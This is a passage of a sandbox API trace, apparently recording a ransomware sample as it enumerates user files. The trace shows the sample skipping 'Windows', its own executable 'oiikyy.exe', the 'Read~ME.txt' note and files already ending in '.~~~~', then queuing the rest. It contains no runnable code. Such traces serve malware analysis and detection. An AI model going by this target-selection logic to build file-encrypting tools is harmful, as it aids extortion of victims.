	[0076.857] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.002] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.002] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.002] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.002] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.002] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.002] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.002] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0077.002] lstrcmpiW (lpString1="Bears.htm", lpString2="Windows") returned -1
	[0077.002] lstrcmpW (lpString1="Bears.htm", lpString2="oiikyy.exe") returned -1
	[0077.002] StrStrW (lpFirst="Bears.htm", lpSrch=".~~~~") returned 0x0
	[0077.002] lstrcmpW (lpString1="Bears.htm", lpString2="Read~ME.txt") returned -1
	[0077.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.002] GetCurrentThreadId () returned 0x618
	[0077.003] RtlWakeConditionVariable () returned 0x365f48
	[0077.003] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0077.003] lstrcmpiW (lpString1="Bears.jpg", lpString2="Windows") returned -1
	[0077.003] lstrcmpW (lpString1="Bears.jpg", lpString2="oiikyy.exe") returned -1
	[0077.003] StrStrW (lpFirst="Bears.jpg", lpSrch=".~~~~") returned 0x0
	[0077.003] lstrcmpW (lpString1="Bears.jpg", lpString2="Read~ME.txt") returned -1
	[0077.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.003] GetCurrentThreadId () returned 0x618
	[0077.003] RtlWakeConditionVariable () returned 0x365f48
	[0077.003] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1
	[0077.003] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="Windows") returned -1
	[0077.003] lstrcmpW (lpString1="Blue_Gradient.jpg", lpString2="oiikyy.exe") returned -1
	[0077.003] StrStrW (lpFirst="Blue_Gradient.jpg", lpSrch=".~~~~") returned 0x0
	[0077.003] lstrcmpW (lpString1="Blue_Gradient.jpg", lpString2="Read~ME.txt") returned -1
	[0077.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.003] GetCurrentThreadId () returned 0x618
	[0077.003] RtlWakeConditionVariable () returned 0x365f48
	[0077.003] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1
	[0077.003] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="Windows") returned -1
	[0077.003] lstrcmpW (lpString1="Cave_Drawings.gif", lpString2="oiikyy.exe") returned -1
	[0077.003] StrStrW (lpFirst="Cave_Drawings.gif", lpSrch=".~~~~") returned 0x0
	[0077.003] lstrcmpW (lpString1="Cave_Drawings.gif", lpString2="Read~ME.txt") returned -1
	[0077.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.003] GetCurrentThreadId () returned 0x618
	[0077.003] RtlWakeConditionVariable () returned 0x365f48
	[0077.003] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1
	[0077.003] lstrcmpiW (lpString1="Connectivity.gif", lpString2="Windows") returned -1
	[0077.003] lstrcmpW (lpString1="Connectivity.gif", lpString2="oiikyy.exe") returned -1
	[0077.004] StrStrW (lpFirst="Connectivity.gif", lpSrch=".~~~~") returned 0x0
	[0077.004] lstrcmpW (lpString1="Connectivity.gif", lpString2="Read~ME.txt") returned -1
	[0077.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.004] GetCurrentThreadId () returned 0x618
	[0077.004] RtlWakeConditionVariable () returned 0x365f48
	[0077.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0077.004] lstrcmpiW (lpString1="Desktop.ini", lpString2="Windows") returned -1
	[0077.004] lstrcmpW (lpString1="Desktop.ini", lpString2="oiikyy.exe") returned -1
	[0077.004] StrStrW (lpFirst="Desktop.ini", lpSrch=".~~~~") returned 0x0
	[0077.004] lstrcmpW (lpString1="Desktop.ini", lpString2="Read~ME.txt") returned -1
	[0077.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.004] GetCurrentThreadId () returned 0x618
	[0077.004] RtlWakeConditionVariable () returned 0x365f48
	[0077.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1
	[0077.004] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="Windows") returned -1
	[0077.004] lstrcmpW (lpString1="Dotted_Lines.emf", lpString2="oiikyy.exe") returned -1
	[0077.004] StrStrW (lpFirst="Dotted_Lines.emf", lpSrch=".~~~~") returned 0x0
	[0077.004] lstrcmpW (lpString1="Dotted_Lines.emf", lpString2="Read~ME.txt") returned -1
	[0077.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.004] GetCurrentThreadId () returned 0x618
	[0077.004] RtlWakeConditionVariable () returned 0x365f48
	[0077.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0077.004] lstrcmpiW (lpString1="Garden.htm", lpString2="Windows") returned -1
	[0077.004] lstrcmpW (lpString1="Garden.htm", lpString2="oiikyy.exe") returned -1
	[0077.004] StrStrW (lpFirst="Garden.htm", lpSrch=".~~~~") returned 0x0
	[0077.004] lstrcmpW (lpString1="Garden.htm", lpString2="Read~ME.txt") returned -1
	[0077.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.004] GetCurrentThreadId () returned 0x618
	[0077.004] RtlWakeConditionVariable () returned 0x365f48
	[0077.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0077.005] lstrcmpiW (lpString1="Garden.jpg", lpString2="Windows") returned -1
	[0077.005] lstrcmpW (lpString1="Garden.jpg", lpString2="oiikyy.exe") returned -1
	[0077.005] StrStrW (lpFirst="Garden.jpg", lpSrch=".~~~~") returned 0x0
	[0077.005] lstrcmpW (lpString1="Garden.jpg", lpString2="Read~ME.txt") returned -1
	[0077.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.005] GetCurrentThreadId () returned 0x618
	[0077.005] RtlWakeConditionVariable () returned 0x365f48
	[0077.005] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1
	[0077.005] lstrcmpiW (lpString1="Genko_1.emf", lpString2="Windows") returned -1
	[0077.005] lstrcmpW (lpString1="Genko_1.emf", lpString2="oiikyy.exe") returned -1
	[0077.005] StrStrW (lpFirst="Genko_1.emf", lpSrch=".~~~~") returned 0x0
	[0077.005] lstrcmpW (lpString1="Genko_1.emf", lpString2="Read~ME.txt") returned -1
	[0077.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.005] GetCurrentThreadId () returned 0x618
	[0077.005] RtlWakeConditionVariable () returned 0x365f48
	[0077.005] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1
	[0077.005] lstrcmpiW (lpString1="Genko_2.emf", lpString2="Windows") returned -1
	[0077.005] lstrcmpW (lpString1="Genko_2.emf", lpString2="oiikyy.exe") returned -1
	[0077.005] StrStrW (lpFirst="Genko_2.emf", lpSrch=".~~~~") returned 0x0
	[0077.005] lstrcmpW (lpString1="Genko_2.emf", lpString2="Read~ME.txt") returned -1
	[0077.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.005] GetCurrentThreadId () returned 0x618
	[0077.005] RtlWakeConditionVariable () returned 0x365f48
	[0077.005] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1
	[0077.005] lstrcmpiW (lpString1="Graph.emf", lpString2="Windows") returned -1
	[0077.005] lstrcmpW (lpString1="Graph.emf", lpString2="oiikyy.exe") returned -1
	[0077.005] StrStrW (lpFirst="Graph.emf", lpSrch=".~~~~") returned 0x0
	[0077.005] lstrcmpW (lpString1="Graph.emf", lpString2="Read~ME.txt") returned -1
	[0077.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.006] GetCurrentThreadId () returned 0x618
	[0077.006] RtlWakeConditionVariable () returned 0x365f48
	[0077.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1
	[0077.006] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="Windows") returned -1
	[0077.006] lstrcmpW (lpString1="Green Bubbles.htm", lpString2="oiikyy.exe") returned -1
	[0077.006] StrStrW (lpFirst="Green Bubbles.htm", lpSrch=".~~~~") returned 0x0
	[0077.006] lstrcmpW (lpString1="Green Bubbles.htm", lpString2="Read~ME.txt") returned -1
	[0077.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.006] GetCurrentThreadId () returned 0x618
	[0077.006] RtlWakeConditionVariable () returned 0x365f48
	[0077.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1
	[0077.006] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="Windows") returned -1
	[0077.006] lstrcmpW (lpString1="GreenBubbles.jpg", lpString2="oiikyy.exe") returned -1
	[0077.006] StrStrW (lpFirst="GreenBubbles.jpg", lpSrch=".~~~~") returned 0x0
	[0077.006] lstrcmpW (lpString1="GreenBubbles.jpg", lpString2="Read~ME.txt") returned -1
	[0077.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.006] GetCurrentThreadId () returned 0x618
	[0077.006] RtlWakeConditionVariable () returned 0x365f48
	[0077.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1
	[0077.006] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="Windows") returned -1
	[0077.006] lstrcmpW (lpString1="grid_(cm).wmf", lpString2="oiikyy.exe") returned -1
	[0077.006] StrStrW (lpFirst="grid_(cm).wmf", lpSrch=".~~~~") returned 0x0
	[0077.006] lstrcmpW (lpString1="grid_(cm).wmf", lpString2="Read~ME.txt") returned -1
	[0077.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.006] GetCurrentThreadId () returned 0x618
	[0077.006] RtlWakeConditionVariable () returned 0x365f48
	[0077.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1
	[0077.006] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="Windows") returned -1
	[0077.006] lstrcmpW (lpString1="grid_(inch).wmf", lpString2="oiikyy.exe") returned -1
	[0077.007] StrStrW (lpFirst="grid_(inch).wmf", lpSrch=".~~~~") returned 0x0
	[0077.007] lstrcmpW (lpString1="grid_(inch).wmf", lpString2="Read~ME.txt") returned -1
	[0077.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.007] GetCurrentThreadId () returned 0x618
	[0077.007] RtlWakeConditionVariable () returned 0x365f48
	[0077.007] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1
	[0077.007] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="Windows") returned -1
	[0077.007] lstrcmpW (lpString1="Hand Prints.htm", lpString2="oiikyy.exe") returned -1
	[0077.007] StrStrW (lpFirst="Hand Prints.htm", lpSrch=".~~~~") returned 0x0
	[0077.007] lstrcmpW (lpString1="Hand Prints.htm", lpString2="Read~ME.txt") returned -1
	[0077.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.007] GetCurrentThreadId () returned 0x618
	[0077.007] RtlWakeConditionVariable () returned 0x365f48
	[0077.007] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1
	[0077.007] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="Windows") returned -1
	[0077.007] lstrcmpW (lpString1="HandPrints.jpg", lpString2="oiikyy.exe") returned -1
	[0077.007] StrStrW (lpFirst="HandPrints.jpg", lpSrch=".~~~~") returned 0x0
	[0077.007] lstrcmpW (lpString1="HandPrints.jpg", lpString2="Read~ME.txt") returned -1
	[0077.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.007] GetCurrentThreadId () returned 0x618
	[0077.007] RtlWakeConditionVariable () returned 0x365f48
	[0077.007] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1
	[0077.007] lstrcmpiW (lpString1="Memo.emf", lpString2="Windows") returned -1
	[0077.007] lstrcmpW (lpString1="Memo.emf", lpString2="oiikyy.exe") returned -1
	[0077.007] StrStrW (lpFirst="Memo.emf", lpSrch=".~~~~") returned 0x0
	[0077.007] lstrcmpW (lpString1="Memo.emf", lpString2="Read~ME.txt") returned -1
	[0077.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.007] GetCurrentThreadId () returned 0x618
	[0077.008] RtlWakeConditionVariable () returned 0x365f48
	[0077.008] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1
	[0077.008] lstrcmpiW (lpString1="Monet.jpg", lpString2="Windows") returned -1
	[0077.008] lstrcmpW (lpString1="Monet.jpg", lpString2="oiikyy.exe") returned -1
	[0077.008] StrStrW (lpFirst="Monet.jpg", lpSrch=".~~~~") returned 0x0
	[0077.008] lstrcmpW (lpString1="Monet.jpg", lpString2="Read~ME.txt") returned -1
	[0077.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.008] GetCurrentThreadId () returned 0x618
	[0077.008] RtlWakeConditionVariable () returned 0x365f48
	[0077.008] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1
	[0077.008] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="Windows") returned -1
	[0077.008] lstrcmpW (lpString1="Month_Calendar.emf", lpString2="oiikyy.exe") returned -1
	[0077.008] StrStrW (lpFirst="Month_Calendar.emf", lpSrch=".~~~~") returned 0x0
	[0077.008] lstrcmpW (lpString1="Month_Calendar.emf", lpString2="Read~ME.txt") returned -1
	[0077.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.008] GetCurrentThreadId () returned 0x618
	[0077.008] RtlWakeConditionVariable () returned 0x365f48
	[0077.008] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1
	[0077.008] lstrcmpiW (lpString1="Music.emf", lpString2="Windows") returned -1
	[0077.008] lstrcmpW (lpString1="Music.emf", lpString2="oiikyy.exe") returned -1
	[0077.008] StrStrW (lpFirst="Music.emf", lpSrch=".~~~~") returned 0x0
	[0077.008] lstrcmpW (lpString1="Music.emf", lpString2="Read~ME.txt") returned -1
	[0077.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.008] GetCurrentThreadId () returned 0x618
	[0077.008] RtlWakeConditionVariable () returned 0x365f48
	[0077.008] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1
	[0077.008] lstrcmpiW (lpString1="Notebook.jpg", lpString2="Windows") returned -1
	[0077.008] lstrcmpW (lpString1="Notebook.jpg", lpString2="oiikyy.exe") returned -1
	[0077.008] StrStrW (lpFirst="Notebook.jpg", lpSrch=".~~~~") returned 0x0
	[0077.008] lstrcmpW (lpString1="Notebook.jpg", lpString2="Read~ME.txt") returned -1
	[0077.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.009] GetCurrentThreadId () returned 0x618
	[0077.009] RtlWakeConditionVariable () returned 0x365f48
	[0077.009] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1
